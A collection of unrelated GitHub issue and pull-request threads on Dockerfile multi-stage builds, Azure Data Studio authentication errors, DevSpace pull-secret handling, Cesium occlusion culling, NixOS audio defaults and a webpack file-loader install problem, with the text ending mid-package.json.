8021 - tight coupling

I would be interested in links to other nested build proposals that your post may be referring to, in order to review their implementations.

...Docker is meant to be - just a single unit (building block) in a bigger puzzle or should it try to do more...

Multi-stage building should be supported for a single unit (resultant image).  However, I'm unsure that docker build needs a mechanism to build more than one resultant image.  The only reason for a more comprehensive mechanism that constructs several images at once would involve a shared static dependency, like a shared parent image or shared protocol,  that must be synchronized in order for new, cooperative image versions to successfully interoperate.  Currently, I use tool to manage these dependencies locally and will employ Docker Hub's "Repository links" feature when publically publishing through Automated Builds.
Yes, so my docker build relies on tools external to docker build to properly build artifacts.  Somewhat hypocritical...

When is this planned to be deprecated?

gotta get some buy-in from other maintainers first....

@arun-gupta
What are your reasons for eliminating multiple FROM support?

gotta get some buy-in from other maintainers first....

Perhaps shykes himself - see #7115.

Adding "needs-attention" label so we can discuss this at some point. We just need to make a decision one way or the other on this.

If you decide to remove this feature, I'd like to see clean solution for multistage build (e.g. build a static website with webpack image, and then package result with nginx server from another base image).

@sheerun could you expand on your use case, perhaps a very basic example showing how you're using this feature?

It's similar to multi-stage building @ewindisch mentioned. First part has "from" set on tutum/buildstep to build image with webpack, I upload result on my private server, and then download result in second part of Dockerfile with "from" set on dockerfile/nginx.
It's hacky but I'm not aware of any other way multi-stage build. Any ideas?

I think many people use a separate build container (e.g. https://github.com/docker-library/hello-world/blob/master/update.sh) but that won't work with automated builds. I personally think that nested builds may be a good replacement for that; https://github.com/docker/docker/issues/7115

Anything will do as long as I can do following:

Run sub-builds from within my build (including external ones).
Export paths from previous builds (so we need to be able to name them..)

So something like this:
NAME sheerun/app_development
FROM dockerfile/nodejs
ADD ./ /app
WORKDIR /app
RUN npm install
RUN npm run build

NAME sheerun/app_runtime
FROM dockerfile/nginx
COPY sheerun/app_development:/app /var/www/html

The resulting build has all properties of dockerfile/nginx and my_temporary_build is discarded.
So I'd be happy with following changes to Dockerfile:

Introduce NAME command to name FROM builds
Extend COPY syntax to allow to reference other builds (similarly to docker cp)

Nested builds could be really great for the "from scratch" containers as they require host system for the executable to be build on.

+1, @duglin
While I would love to see a useful FROM possibly like multiple inheritance or extracting files from images or similar, I think the current broken implementation is standing in the way of actually trying any of those proposals. In short, I think this should go through a deprecation cycle and be removed. Only then can we really begin to think what multiple FROMs should do.

+1 for docker multiple inheritance functionality.

I'm using multiple FROMs in my images, to aggregate services. Please do not remove this feature :)

@gravis can you elaborate on what you mean?  Its not like it merges them

Since I'm using the same base (debian jessie), I can create composite docker image instead of docker-compose files. Ie:
FROM nginx
FROM postgres
...

hmm, the nginx env vars are not available in this case :(
Too bad

@gravis you won't get both "nginx" and "postgres" in a single image with that Dockerfile; it will just start two builds after each other. Basically your example will do;
FROM nginx

and build that (without tagging it)
Followed by
FROM postgres
....

and build that, giving it the tag/name you specified during your build

@gravis it's more than that. Anything in nginx will not be able in the final image (the latest FROM is taking over whatever is before) — dockerfile are not composable.

Just saw that in my tests, forget my comments please :)

Yeah, there has been discussion of deprecating that weird functionality with FROM. I think @duglin opened it. Do you remember the issue number, @duglin?

To conclude, I fully agree, having multiple FROM in a Dockerfile is an awful/dangerous practice, and must be avoided.

If a command TAG were added that allowed tagging the image at that point in the Dockerfile, it might make more sense to allow multiple FROM commands. In that use case, you could have one FROM, run whatever commands are needed to produce your new image, have a TAG myfirstimage, and then another FROM and finish the Dockerfile. As with the way it works now, the image name/tag specified on the command line will be associated with the final image id at the end of the Dockerfile, but a single Dockerfile could tag various states along the way as well.

Hmm... I' not sure I do agree that having multiple FROM's is a bad idea, but if it works (and I didn't know it existed until finding this, so I haven't tried it) it should work as a flattened composition (https://en.wikipedia.org/wiki/Trait_(computer_programming)). Perhaps though an alternate syntax FROM foo WITH bar, bazwhere foo acts like inheritance and is a base image like alpine, or ubuntu, but you could have some way to define bar, and baz, like java and ruby, so that you could easily compose languages (or other applications) into a single image.
Food for thought.

Now we have multistage Dockerfile.
Can we close this?

I guess so, it pretty much covers this use case. It would be nice to export any image from multistage build, though: https://github.com/docker/docker/pull/32063#issuecomment-292780929

lets close this one yes


Support Android M permissions model

Both the android.permission.WRITE_EXTERNAL_STORAGE and android.permission.READ_EXTERNAL_STORAGE permissions should be handled under the new permissions model.

Yes, I'll add to next release. Thanks


Reduce the amount of duplicate test cases.

As these evolved some of the more complicated test cases encompassed some of the original simpler ones

👍

👍


Fix closures in yaml runner

Copies the variables so that we don't overwrite them in the loop.

Thanks Matt!


added unal

@ssolanom unal.txt I am sorry, I have to close the request without merging, because you made a mistake in a request and did not specify any filepath. Please ensure that you are familiar with this repository rules located at the bottom of this page and make a new correct request. Thank you for your understanding!


Add array index rotation methods

Codecov Report

Merging #9 (a03d274) into main (c579de3) will increase coverage by 0.00%.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main       #9   +/-   ##
=======================================
  Coverage   99.68%   99.68%
=======================================
  Files          19       19
  Lines        1262     1285   +23
=======================================
+ Hits         1258     1281   +23
  Misses          4        4

Impacted Files
Coverage Δ

src/Common/Collections/Array2D.cs
100.00% <100.00%> (ø)

src/Common/Collections/Array2DDistanceSearch.cs
100.00% <100.00%> (ø)

src/Common/Collections/BitArray2D.cs
100.00% <100.00%> (ø)

src/Common/Random/RandomSeed.cs
99.47% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


macros for modules

for a sake of speeding development up modules would have macros-involved functions, which would tell to export them.
so modules would not require to export whole map that includes all possible values to export.
#[export("argv")]
pub fn get_argv() { /*...*/ }

#[export("float")]
pub fn get_float_random_name() { /*...*/ }

closed. see #10


Latest version still have bug: user account not found in MSAL cache please add linked account or refresh account credentials

I still have this bug after updating to latest version eventhough I have already follow the popup to login to Azure everytime "user account not found in MSAL cache please add linked account or refresh account credentials"
My version info is Version: 1.44.1 (system setup)
Commit: 8f53a316fa00a98264f1ab119641cd540b5af25c
Date: 2023-06-01T02:12:48.765Z
VS Code: 1.70.0
Electron: 19.1.8
Chromium: 102.0.5005.167
Node.js: 16.14.2
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.19045

Hi @hhminh
Please follow steps from https://github.com/microsoft/azuredatastudio/issues/23286#issuecomment-1572668567 to resolve the error. We've fixed the issue in the insiders build, to be released in July release.

I encounted this issue on macOS also, when first trying to use Azure Data Studio (v1.44.1) - I had not previously connected to anything.
To resolve, I deleted the entire directory located at ~/Library/Application Support/azuredatastudio. I then re-authenticated with Azure, and was then able to connect.

Same problem on Ubuntu 22.04. Do you have also a solution for it? The one provided does not solve.

On Linux, the home location is: /home/<username>/.config/azuredatastudio/ or ~/.config/azuredatastudio
You can also try running command: Azure Accounts: Clear Azure account token cache to clear cached tokens if needed.

On Linux, the home location is: /home//.config/azuredatastudio/ or ~/.config/azuredatastudio
You can also try running command: Azure Accounts: Clear Azure account token cache to clear cached tokens if needed.

Did all what you suggested, but unfortunately still the same issue.
Microsoft.Data.SqlClient.SqlException (0x80131904): User account<EMAIL_ADDRESS>not found in MSAL cache, please add linked account or refresh account credentials.
 ---> System.Exception: User account<EMAIL_ADDRESS>not found in MSAL cache, please add linked account or refresh account credentials.
   at Microsoft.SqlTools.Authentication.Authenticator.GetTokenAsync(AuthenticationParams params, CancellationToken cancellationToken) in /_/src/Microsoft.SqlTools.Authentication/Authenticator.cs:line 129
   at Microsoft.SqlTools.Authentication.Sql.AuthenticationProvider.AcquireTokenAsync(SqlAuthenticationParameters parameters) in /_/src/Microsoft.SqlTools.Authentication/Sql/AuthenticationProvider.cs:line 90
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.<>c__DisplayClass147_1.<<GetFedAuthToken>b__1>d.MoveNext()
--- End of stack trace from previous location ---
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.GetFedAuthToken(SqlFedAuthInfo fedAuthInfo)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.GetFedAuthToken(SqlFedAuthInfo fedAuthInfo)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.OnFedAuthInfo(SqlFedAuthInfo fedAuthInfo)
   at Microsoft.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
   at Microsoft.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.CompleteLogin(Boolean enlistOK)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.AttemptOneLogin(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean ignoreSniOpenTimeout, TimeoutTimer timeout, Boolean withFailover)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.LoginNoFailover(ServerInfo serverInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString connectionOptions, SqlCredential credential, TimeoutTimer timeout)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds.OpenLoginEnlist(TimeoutTimer timeout, SqlConnectionString connectionOptions, SqlCredential credential, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance)
   at Microsoft.Data.SqlClient.SqlInternalConnectionTds..ctor(DbConnectionPoolIdentity identity, SqlConnectionString connectionOptions, SqlCredential credential, Object providerInfo, String newPassword, SecureString newSecurePassword, Boolean redirectedUserInstance, SqlConnectionString userConnectionOptions, SessionData reconnectSessionData, Boolean applyTransientFaultHandling, String accessToken, DbConnectionPool pool)
   at Microsoft.Data.SqlClient.SqlConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningConnection, DbConnectionOptions userOptions)
   at Microsoft.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup, DbConnectionOptions userOptions)
   at Microsoft.Data.ProviderBase.DbConnectionFactory.<>c__DisplayClass48_0.<CreateReplaceConnectionContinuation>b__0(Task`1 _)
   at System.Threading.Tasks.ContinuationResultTaskFromResultTask`2.InnerInvoke()
   at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state)
--- End of stack trace from previous location ---
   at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state)
   at System.Threading.Tasks.Task.ExecuteWithThreadLocal(Task& currentTaskSlot, Thread threadPoolThread)
--- End of stack trace from previous location ---
   at Microsoft.SqlTools.ServiceLayer.Connection.ReliableConnection.ReliableSqlConnection.<>c__DisplayClass30_0.<<OpenAsync>b__0>d.MoveNext() in /_/src/Microsoft.SqlTools.ManagedBatchParser/ReliableConnection/ReliableSqlConnection.cs:line 313
--- End of stack trace from previous location ---
   at Microsoft.SqlTools.ServiceLayer.Connection.ConnectionService.TryOpenConnection(ConnectionInfo connectionInfo, ConnectParams connectionParams) in /_/src/Microsoft.SqlTools.ServiceLayer/Connection/ConnectionService.cs:line 692
ClientConnectionId:27000908-9aba-440c-b0da-f83189360ea4

Closing this one as duplicate of #23688 (tracked for same issue)
Please try with the latest insiders build and upload logs for investigation if issue continues to occur.

Same here. Deleting the entire contents of "C:\Users---\AppData\Roaming\azuredatastudio" worked.

Why can't you sort this out Microsoft? It's a fresh install, it should just work without jiggery pokery with file structures.

Can this be re opened its still and issue


Telegram optimization

/events was displaying some irrelevent events for telegram
it should now display the available events.
/sub all  - now ignores the irrelevent events.
my theory is this will help speed up telegram/bot bogging

After adding catchable_pokemon I think I notice an improvement. It could just be wishful thinking.

👍


Write Github CI script to test according to environment

What would you like to be added:
Workflow that automatically tests according to the environment (windows, ubuntu, macOS) when PR comes in.
Why is this needed:
It's easy to manage PR effectively because the maintainer can't run it and test it, depending on the environment.

Can I try this issue?
I don't know if it's correct you want, but I think, it's easy to solve.

I cancel this opinion. When the test environment update, I need to think about how to write each coverage on PR.

It doesn't seem necessary to test all the different development and execution environments at the moment. Let's recreate it when needed.


Designing Shift registers using Sequential Circuits

Shift Register is a group of flip flops used to store multiple bits of data. The bits stored in such registers can be made to move within the registers and in/out of the registers by applying clock pulses.
Use https://circuitverse.org/simulator
I recommend making it a standard Example.

Designing a Universal Shift Register would give a proper understanding for every type.

@eKuG

@eKuG I have made a universal shift register. Check it out here : https://circuitverse.org/users/13891/projects/45314 so that I can add it into the example list as suggested

Yes you may use it. It would be better if you could explain the working for other people. Also, check if it is in the docs or not. And add it there as well

@Ananthavijay are you still working on this? I see you closed your pull request?

I delted the branch by mistake, will reopen it

Please reopen this issue


Devspace defaults to uploading credentials to cluster

What happened?
Running devspace build will, by default and without prompting, upload users credentials to the remote cluster.
What did you expect to happen instead?
At a minimum, a prompt requesting permission to propagate user secrets to remote servers.
How can we reproduce the bug? (as minimally and precisely as possible)

devspace build
info Using namespace 'xxxxxxx'
info Using kube context 'xxxxxxx'
Ensuring image pull secret for registry: xxxxxxx
Created image pull secret xxxxxxx

My devspace.yaml:
version: ...
...

Local Environment:

DevSpace Version: 6.3.2
Operating System:  mac
ARCH of the OS: AMD64
Kubernetes Cluster:
Cloud Provider: google
Kubernetes Version: v1.25.11-gke.1700

Anything else we need to know?
Any organization that uses SSO likely uses local login credentials for services like artifactory, etc... The result being that unless the team using devspace reads about this default behavior, their corporate credentials are now sitting unencrypted in a shared environment without their knowledge.
I can see from the documentation here https://www.devspace.sh/docs/5.x/configuration/pullSecrets/basics that this was a conscious decision. I understand that this was probably to make use of the tool smoother, but IMO is definitely not being handled correctly.
This absolutely should not be the default behavior, and if it is, the user should be prompted before devspace copies credentials to a remote server. Adding a note to the prompt that tells the user how to make the prompt go away for next time (maybe some kind of config) would allow them to quickly transition to that smooth workflow without making security assumptions on their behalf.

@LISTERINE Hello! I've submitted a PR so that DevSpace will only create the pull secrets for in cluster builds. Let us know if this satisfies the issue!

I'm not equipped to test it or familiar with the codebase, but at face value the logic seems sound to me. Thanks for addressing this!


Leverage Hardware Occlusion Queries in Tileset Traversal

In Cesium Native, we currently cull tiles based on the frustum and fog (distance). This means we are often loading tiles that are occluded by other tiles, especially in close-up views (e.g., in between buildings in a city). Luckily Unreal avoids draw-calls for many of these tiles using hardware occlusion queries. We could take it one step further and take the result of these visibility queries and feed them back to Cesium Native's traversal logic.
Some thoughts (will make this more concise when I get a chance):
A naive approach to start would be just avoid further refining tiles that are reported to be occluded, regardless of the SSE. If the tile is already refined and has loaded descendants, we can consider all those descendants as culled. In this approach, nothing changes about how or what we render in GltfComponent. The occlusion results that Unreal generates anyways will simply be piped back to the Cesium Native traversal.

Rendered tiles should wait for the occlusion result, which may take several frames, before deciding to refine.
If we skip rendering too many LODs (to jump straight to the target SSE) we may miss chances of occlusion culling the entire subtree.
In this basic approach, we can't consider an occluded tile as culled itself. E.g., if we culled the tile and kicked it from the in-memory cache we wouldn't know when the tile was later un-occluded, since Unreal will no longer be updating occlusion queries on the tile.
As the camera view changes, the occlusion result of parent tile needs to be used to occlusion cull out already loaded children. However, currently there is no guarantee that parent tiles stay loaded when descendants are being rendered, if they were ever loaded at all (again they may have been skipped over in favor of descendants during the original loading).
This approach may require parents within some tolerable SSE band (e.g., < 4x target SSE) to stay loaded just so they continue to update their occlusion results. Only when they are loaded and updating their occlusion result can we know whether or not to cull their descendants. (It may not even be possible to retrieve occlusion results for a parent that we have SetVisibility(false)).

Unfortunately, this approach is awkward and is nonoptimal when parents are skipped or kicked in favor of descendants (descendants can only be occlusion culled if a parent is rendered and receiving occlusion results). It would be easier if we could get occlusion results for tiles that aren't necessarily loaded. Luckily hardware occlusion queries only require a bounding volume for the occludee, which we have before the tile is loaded.

Maybe we can find a way to just feed bounding volumes into the occlusion culling pipeline without needing to load the tile or create all the gltf render resources.
Hopefully we can find a clean hook-in point to the existing occlusion culling pipeline. There is the regular hardware occlusion queries and there is hierarchical z-buffer occlusion culling, my understanding is that hzb is faster but more conservative.
Less ideally, we can manually compute occlusion by queueing up compute shader passes to draw the bounding volume into a copy of the last frame's depth buffer (for hzb a "min" mip-mapped depth buffer). We can do this in hierarchical order to early-out once an entire subtree is known to be occluded.

I am going to experiment a bit on the Unreal side to get a better sense of how and if the occlusion system is exposed. If it isn't I will try to form an educated guess of how difficult it would be to set up a custom gpu-based occlusion system using compute shaders. In general it seems straight forward, but it depends on the amount of Unreal API-wrangling that is necessary.
Some relevant links:

https://udn.unrealengine.com/s/question/0D52L00005EJHyrSAH/calculate-percent-of-rendered-object-that-is-visible-in-viewport
https://docs.unrealengine.com/4.26/en-US/API/Runtime/RHI/RHICreateRenderQueryPool/
https://github.com/EpicGames/UnrealEngine/blob/9e0f5f2a419a75b83392c44bf75462366ca8c1e2/Engine/Source/Runtime/Renderer/Private/SceneOcclusion.cpp#L377

I was telling Patrick a little bit about this, and he's very interested as he spent some time thinking about this problem for his MS thesis. From Patrick:

It could also be worthwhile to use the occlusion to drive the LOD, i.e., if a tile is mostly occluded then use a lower resolution tile.  Of course, it could impact visual quality, but we would have to test to see the tradeoff in practice and we could also make this an option and parameterize it.
I looked into this for my MS thesis, but I don't think I ever implemented.  Search for "VMSSE" and see Section 3.4 - http://citeseerx.ist.psu.edu/viewdoc/download?doi=<IP_ADDRESS>1.4703&rep=rep1&type=pdf
It references this paper: https://www.researchgate.net/publication/220845198_Optimized_HLOD_Refinement_Driven_by_Hardware_Occlusion_Queries
I know the third author a bit if we ever wanted to talk to them; he and his students did a lot in HLOD and out-of-core rendering in the 2000's (and maybe later but I haven't tracked their work recently).

More from Patrick:

BTW I had one more idea about occlusion culling...sorry...I am the worst...so the queries are pretty low overhead because they are async, just a few vertices, and with pass through fragment shaders...however, they do end up with a ton of just raw fillrate so are you guys turning them off at all when they don't work well, e.g., (1) above a certain altitude, (2) based on dot product of view vector and local surface normal, (3) based on how success they were over the past n frames???  Fun, fun, fun, I am so jealous!


[Bug]: llama-index-vector-stores-tencentvectordb 0.2.0 has inconsistent attribute naming for self._collection_name and self._collection_description

Bug Description
There is an issue with the object attributes self._collection_name and self._collection_description in the class CollectionParams (file path:lama-index-integrations/vector_stores/llama-index-vector-stores-tencentvectordb/llama_index/vector_stores/tencentvectordb/base.py).
After renaming these attributes, the corresponding changes were not made in other methods within the class that reference these attributes. This has led to errors when these methods are called.
Version
0.11.2
Steps to Reproduce
when instantiating a TencentVectorDB
 vector_store = TencentVectorDB(
         url=settings.TENCENT_URL,
         username=settings.TENCENT_ROOT,
         key=settings.TENCENT_KEY,
         database_name=settings.DATABASE_NAME,
         collection_params=CollectionParams(
                dimension=settings.VECTOR_DIMENSION,
                drop_exists=False,
                replicas=settings.VECTOR_REPLICA,
               collection_name=collection_name),
       )

there will a error about CollectionParams has no attribute of collection_name
Relevant Logs/Tracbacks
No response

    @staticmethod
    def _compute_collection_name(
        database_name: str, collection_params: CollectionParams
    ) -> str:
        if database_name == DEFAULT_DATABASE_NAME:
            return collection_params.collection_name
        if collection_params.collection_name != DEFAULT_COLLECTION_NAME:
            return collection_params.collection_name
        else:
            return database_name + "_" + DEFAULT_COLLECTION_NAME

here should be:
        if database_name == DEFAULT_DATABASE_NAME:
            return collection_params._collection_name
        if collection_params._collection_name != DEFAULT_COLLECTION_NAME:
            return collection_params._collection_name


Should be able to render an array of strings

This currently does not work:
<span>{['test', 'strings']}</span>

We should also be able to do:
renderCallback () {
  return ['test', 'strings'];
}

Closing as this will be subject to the renderer used underneath the hood (which will soon be Preact).


chore(main): release 1.7.3

:robot: I have created a release beep boop
1.7.3 (2024-03-19)
Bug Fixes

release: update config to use the correct value for root (c91fd44)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/floatme-corp/golflog/releases/tag/v1.7.3 :sunflower:


Update GNAF database from upstream - August 2024

Like #370

Overview

Nationally, the Aug 2024 update of G-NAF shows an increase of 44,191 addresses overall (+0.28%). The total number of addresses in G-NAF now stands at 15,698,769 of which 14,864,193 or 94.68% are principal.
The confidence level distribution nationally for the Aug 2024 release has the confidence 2 addresses increasing by 41,258 from the May 2024 release with the total percentage of confidence 2 addresses increasing to 68.67% of principal addresses. The number of confidence 1 addresses has decreased by 2,617 and represent 14.22% of all principal addresses while confidence 0 addresses have increased by 5,357 and represent 17.11% of addresses.
With respect to address reliability, there was an increase of 45,286 address level, a decrease of 1,082 in street locality addresses and a decrease of 206 in locality level addresses. The reliability of principal addresses in G-NAF is now made up of 97.61% address level, 2.36% street locality addresses and 0.03% locality addresses.

Should I remove the conversion to sqllite from the job?  Nobody except me probably uses it anyway  (the postgres DB image is too big for my puny machine).

I don't mind either way, if you find it useful feel free to leave it in.

It failed to run last time in the GHA anyway

I'm doing a local test of the new image here now, but my machine struggles to even rebuild the image.

Seemed to work fine (using local lukeprior/nbn-upgrade-map-db:202408 image)
❯ ./code/main.py --suburb Marian --state QLD
2024-09-08 13:35:54,607 INFO MainThread Checking for externally updated geojson results...
2024-09-08 13:36:01,535 INFO MainThread ...done
2024-09-08 13:36:01,645 INFO MainThread Creating DB index...
2024-09-08 13:36:01,682 INFO MainThread Selecting explicit Marian, QLD
2024-09-08 13:36:01,682 INFO MainThread Processing Marian, QLD
2024-09-08 13:36:01,682 INFO MainThread Fetching all addresses for Marian, QLD
2024-09-08 13:36:01,728 INFO MainThread Fetched 1819 addresses from database
2024-09-08 13:36:01,733 INFO MainThread Loaded 1631 addresses from output file
2024-09-08 13:36:01,734 INFO MainThread Submitting 1819 requests to add NBNco data...
...
2024-09-08 13:40:33,658 INFO nbn_3 Completed 1819 requests
2024-09-08 13:40:33,664 INFO MainThread Completed. Tally of tech types: {'WIRELESS': 418, 'FTTN': 872, 'FTTP': 331, None: 188, 'NULL': 6, 'SATELLITE': 4}
2024-09-08 13:40:33,665 INFO MainThread Location ID types: {'LOC': 1631, 'None': 188}
2024-09-08 13:40:33,666 INFO MainThread Writing results to results/QLD/marian.geojson
2024-09-08 13:40:34,077 INFO MainThread Updating progress.json

Diff looks reasonable.

https://github.com/LukePrior/nbn-upgrade-map/actions/runs/10758533291

Ok looks like that went ok

Getting some no valid suggestion warnings in the current automatic CI run but not sure if more than usual baseline.


installer: Enable pulseaudio in all graphical iso's

Motivation for this change
I think this would help for a good first impression for people trying out the ISO. I've never reflected over this myself. But someone I chatted with (that has never heard of NixOS before) tried it pointed this out to me.
And I agree, it's weird to ship a graphical environment without audio enabled.
Things done

I've built the ISO like this:
nix-build nixos/release.nix -A iso_graphical

And then I've wrote the image to an USB-stick and tried it on my thinkpad. And it works there at least.

[X] Fits CONTRIBUTING.md.

Could you also add it to virtualbox-image: https://github.com/NixOS/nixpkgs/blob/master/nixos/modules/virtualisation/virtualbox-image.nix
I think it is useful there as well.

Or actually you might be able to put it in https://github.com/NixOS/nixpkgs/blob/master/nixos/modules/profiles/graphical.nix

The problem is not the lack of PulseAudio daemon (it adds more problems IMO, see https://github.com/oxij/libcardiacarrest), but the fact that ALSA is broken on master since 18.03.
The simplest solution:
git revert e349ccc77febd45abbd14be14f7de123ec4a4da2 a43e33d0e48b2284ac3a2222d7f1965cef66f5e2
(Or at least #46490, so that you would notice the breakage).

@oxij Disabling sound.enable seems to have been a very conscious decision made in #35355 which I'm not about to question.
But you seem to question that choice, but that's up to you. But for now I'd rather see working audio in the next stable iso's, and branch-off is on Monday. So if you want to change that as well, I'd suggest taking it up for the next stable.

Disabling sound.enable seems to have been a very conscious decision made in #35355 which I'm not about to question.

There I'm not questioning the decision (I'm fine with making the default system smaller), I'm questioning the implementation that broke ALSA for all users who didn't have an explicit sound.enable = true; line in their configs.
Here I'm questioning the leap from "let's have sound in graphical installer ISOs" (I agree, let's) to "let's run PulseAudio daemon in installer ISOs".

Here I'm questioning the leap from "let's have sound in graphical installer ISOs" (I agree, let's) to "let's run PulseAudio daemon in installer ISOs".

Well, since the graphical installer is not just an installer, it's also a showcase for NixOS for many that want to try it out.
And pulseaudio is pretty much default on many distros, not all, but many. And most users do expect pulseaudio to be there. So why not show that off in the showcase? I mean, it's not likely to break the graphical environment and it's something that people expect to be there. Which makes it a good idea for the showcase that happens to be the first impression that many new users will meet.
And iirc, there's things that depend on pulseaudio that I guess don't work with alsa nowadays, so not having pulseaudio would break that showcase a bit.
For example: https://bugzilla.mozilla.org/show_bug.cgi?id=1345661
Firefox doesn't seem to work that well without pulseaudio. One of the first applications that people find on the ISO is firefox since it contains the manual once the graphical environment is started. It's not uncommon for people to go to youtube and play music from there while doing other things. And with an ALSA only system I'd suspect that that wouldn't work. Which would break the impression of a nice graphical environment a fair bit.

And pulseaudio is pretty much default on many distros, not all, but many. And most users do expect pulseaudio to be there.

IMHO most users expect audio to be working, not some specific daemon to be running.

And iirc, there's things that depend on pulseaudio that I guess don't work with alsa nowadays, so not having pulseaudio would break that showcase a bit.
For example: https://bugzilla.mozilla.org/show_bug.cgi?id=1345661
Firefox doesn't seem to work that well without pulseaudio. ...

The bug in question is an issue with the official build of Firefox where they just hard-disable ALSA backend for "reasons". In nixpkgs we build Firefox with both ALSA and PulseAudio by default. AFAIK both work. Some people reported "choppy WebRTC audio" with ALSA backend before, but others reported the same with PA, so I'm not convinced only one of them should be preferred.
In any case, if Firefox ever completely drops ALSA backend all we would need to do is wrap it with apulse in wrapFirefox to get the ALSA playback back.

And with an ALSA only system I'd suspect that that wouldn't work.

Did you actually test it? Personally, I'm running with libpulse overriden with libcardiacarrest (so that I won't ever run any PulseAudio code even by accident), i.e. I'm pretty certain I don't have a single bit of PA on my machine, yet I have no issues with sound in Firefox over ALSA.

Surprisingly, no large increase in output sides from this:
https://hydra.nixos.org/job/nixos/trunk-combined/nixos.iso_graphical.x86_64-linux#tabs-charts
pulseaudio must have been getting pulled in some other way.


Update README.md

Hey, I really liked the project and was reading through the Readme.md file when I came across a spelling error that you might have missed while editing the documentation. It would be really a great opportunity for me if I could contribute to this project. Thank you.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@r8bhavneet Thanks for the PR, we should better format the commit like:
docs: fix misspelling in README.md


Split up type information from Type to Type and QualType

Currently, the Type class holds all type information: the type chain, as well as the type specifiers (qualifiers) like signedness, constness, visibility, etc. To reduce memory footprint and performance, we aim to unify types, meaning that we want a TypeRegistry, that manages all types. Whenever a new type is needed, the TypeRegistry is asked to provide the type as Type*. If the type already exists, it simply returns the pointer to that type instance, otherwise the type instance is created and put into a type map. To make this possible, we need to separate the type specifiers (qualifiers) from the type chain, because we only want to unify the type chain information. Otherwise we would have int, signed int, unsigned int, public int, etc., polluting the type map. The QualType class should contain a pointer to a type, as well an intstance of TypeSpecifiers.

This is now implemented. Closing as completed.


Bigger profile image, at least double

@lucaatt commit a4675d1 on this issue is not good, the profile image is too big and get out of nav header.


npm could not install from node_modules/file-loader as it does not contain package.json

I'm new to webpack trying out the getting started guide, now at Asset management where I want to bundle image and this required me to install file-loader into node_modules as i have done to other modules like lodash, style-loader, and css-loader. But in attempt to install file-loader i am having the following error message
 could not install from node_modules/file-loader as it does not contain package.json

@emiglobetrotting please provide full steps installation, thank you!

This is my full installation of webpack on C: directory after I have installed nodejs into C:\Programe Files
mkdir webpack-demo && cd webpack-demo
npm init -y
npm install --save-dev webpack

Then I tried loading CSS and installed the following loaders
npm install --save-dev style-loader css-loader

Which helps to load CSS for the Project below
project

  webpack-demo
  |- package.json
  |- webpack.config.js
  |- /dist
     |- bundle.js
     |- index.html
  |- /src
     |- style.css
     |- index.js
  |- /node_modules

./dist/index.html
 <html>
   <head>
      <title>Asset Management</title>
   </head>
   <body>
      <script src="./bundle.js"></script>
   </body>
 </html>

webpack.config.js
 const path = require('path');
  module.exports = {
   entry: 'C:\webpack-demo\src\index.js',
   output: {
     filename: 'bundle.js',
     path: path.resolve(__dirname, 'dist')
   },
   module: {
     rules: [
       {
          test: /\.css$/,
          use: [
            'style-loader',
            'css-loader'
          ]
      }
    ]
  }
};

./src/style.css
.hello {
   color: red;
}

./src/index.js
import _ from 'lodash';
import './style.css';

function component() {
   var element = document.createElement('div');

  // Lodash, now imported by this script
   element.innerHTML = _.join(['Hello', 'webpack'], ' ');
   element.classList.add('hello');

   return element;
 }

  document.body.appendChild(component());

Ran
./node_modules/.bin/webpack --config /path/to/webpack.config.js //to generate bundle.js
Everything works. Now also I want to load image with this same project, where a file-loader needs to be installed into node_modules directory in my webpack-demo.
The following command to install file-loader generates the aforementioned error that could not install node_modules/file-loader as it does not contain package.json
npm install --save-dev file-loader

@emiglobetrotting do you have file-loader in your module.rules? Please provide full configuration webpack. Also do you have file-loader in package.json?

yes i have file-loader in the package.json, but i haven't added it yet in the module.rules. the installation with npm is giving me the above mentioned error.
Had it been file-loader is successfully installed into node_modules i will have this
webpack.config.js
  const path = require('path');

  module.exports = {
    entry: './src/index.js',
    output: {
       filename: 'bundle.js',
       path: path.resolve(__dirname, 'dist')
    },
   module: {
       rules: [
          {
              test: /\.css$/,
              use: [
                'style-loader',
                'css-loader'
              ]
         },
   {
    test: /\.(png|svg|jpg|gif)$/,
        use: [
          'file-loader'
        ]
     }
   ]
  }
 }

./src/style.css will be
.hello {
   color: red;
   background: url('./icon.png');
 }

./src/index.js will be
  import _ from 'lodash';
  import './style.css';
 import Icon from './icon.png';

 function component() {
   var element = document.createElement('div');

   // Lodash, now imported by this script
  element.innerHTML = _.join(['Hello', 'webpack'], ' ');
  element.classList.add('hello');

  // Add the image to our existing div.
  var myIcon = new Image();
  myIcon.src = Icon;

  element.appendChild(myIcon);

  return element;
 }

 document.body.appendChild(component());

This is my package.json
{
 "name": "webpack-demo",
 "version": "1.0.0",
 "main": "index.js",
 "scripts": {
